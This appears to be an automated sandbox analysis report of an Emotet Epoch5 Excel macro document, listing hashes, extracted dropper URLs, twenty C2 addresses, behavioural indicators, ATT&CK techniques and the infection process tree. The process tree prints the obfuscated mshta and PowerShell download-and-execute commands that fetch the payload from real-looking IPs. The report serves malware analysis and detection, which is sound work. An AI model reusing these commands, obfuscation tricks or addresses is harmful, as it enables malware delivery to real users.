emotet | 4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255

General

Target

4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255.xlsm
Size

49KB
MD5

40a87ae0ee6c9d8647c8ad1b680e0e87
SHA1

12e762de276e8ce77a27fc56d135833a29f161d5
SHA256

4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255
SHA512

7b16347ae4ce7b7ec7bef05b00d1ca00534720c19a29165ca92f5fb704408350ff58c2e2f8c5e7d3538c509cdff518a7cb880776cfdf5f9c61b05c646cb40dce

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2708	3416	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
25	3216	mshta.exe
29	4532	powershell.exe
32	4532	powershell.exe
46	2644	rundll32.exe
47	2644	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1200	rundll32.exe
1504	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Baodqscemsmhppa\moupfvl.fhi	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
940	3216	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3416	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4532	powershell.exe
4532	powershell.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
940	WerFault.exe
4532	powershell.exe
2644	rundll32.exe
2644	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	940	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3416	EXCEL.EXE
3416	EXCEL.EXE
3416	EXCEL.EXE
3416	EXCEL.EXE
3416	EXCEL.EXE
3416	EXCEL.EXE
3416	EXCEL.EXE
3416	EXCEL.EXE
3416	EXCEL.EXE
3416	EXCEL.EXE
3416	EXCEL.EXE
3416	EXCEL.EXE
3416	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3416 wrote to memory of 2708	3416	EXCEL.EXE	70
PID 3416 wrote to memory of 2708	3416	EXCEL.EXE	70
PID 2708 wrote to memory of 3216	2708	cmd.exe	72
PID 2708 wrote to memory of 3216	2708	cmd.exe	72
PID 3216 wrote to memory of 4532	3216	mshta.exe	74
PID 3216 wrote to memory of 4532	3216	mshta.exe	74
PID 4532 wrote to memory of 1152	4532	powershell.exe	78
PID 4532 wrote to memory of 1152	4532	powershell.exe	78
PID 1152 wrote to memory of 1200	1152	cmd.exe	79
PID 1152 wrote to memory of 1200	1152	cmd.exe	79
PID 1152 wrote to memory of 1200	1152	cmd.exe	79
PID 1200 wrote to memory of 1504	1200	rundll32.exe	80
PID 1200 wrote to memory of 1504	1200	rundll32.exe	80
PID 1200 wrote to memory of 1504	1200	rundll32.exe	80
PID 1504 wrote to memory of 2196	1504	rundll32.exe	81
PID 1504 wrote to memory of 2196	1504	rundll32.exe	81
PID 1504 wrote to memory of 2196	1504	rundll32.exe	81
PID 2196 wrote to memory of 2644	2196	rundll32.exe	82
PID 2196 wrote to memory of 2644	2196	rundll32.exe	82
PID 2196 wrote to memory of 2644	2196	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4170fd2e1e20be004dc4fb1490bd16ce9bd092ec9d1048e6ac0a63d10c7ba255.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3416
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe1.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4532
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1152
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1200
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1504
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Baodqscemsmhppa\moupfvl.fhi",wRxNCrHfm
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2196
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Baodqscemsmhppa\moupfvl.fhi",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2644
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3216 -s 1676
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1200-594-0x0000000002F41000-0x0000000002F65000-memory.dmp

Filesize
144KB

Download
memory/1200-595-0x0000000002F40000-0x0000000002F68000-memory.dmp

Filesize
160KB

Download
memory/1504-608-0x0000000004930000-0x0000000004958000-memory.dmp

Filesize
160KB

Download
memory/1504-606-0x00000000047D0000-0x00000000047F8000-memory.dmp

Filesize
160KB

Download
memory/1504-604-0x0000000004770000-0x0000000004798000-memory.dmp

Filesize
160KB

Download
memory/1504-602-0x0000000004660000-0x0000000004688000-memory.dmp

Filesize
160KB

Download
memory/2644-613-0x0000000004BF0000-0x0000000004C18000-memory.dmp

Filesize
160KB

Download
memory/3416-129-0x00007FFE09380000-0x00007FFE09390000-memory.dmp

Filesize
64KB

Download
memory/3416-648-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/3416-651-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/3416-650-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/3416-649-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/3416-116-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/3416-117-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/3416-115-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/3416-128-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/3416-127-0x00007FFE09380000-0x00007FFE09390000-memory.dmp

Filesize
64KB

Download
memory/3416-118-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/4532-273-0x00000249E8260000-0x00000249E8282000-memory.dmp

Filesize
136KB

Download
memory/4532-297-0x00000249E87D0000-0x00000249E880C000-memory.dmp

Filesize
240KB

Download
memory/4532-336-0x00000249E8AF0000-0x00000249E8B66000-memory.dmp

Filesize
472KB

Download
memory/4532-324-0x00000249E7CA0000-0x00000249E7DC0000-memory.dmp

Filesize
1.1MB

Download
memory/4532-327-0x00000249E7CA0000-0x00000249E7DC0000-memory.dmp

Filesize
1.1MB

Download
memory/4532-398-0x00000249E7CA0000-0x00000249E7DC0000-memory.dmp

Filesize
1.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads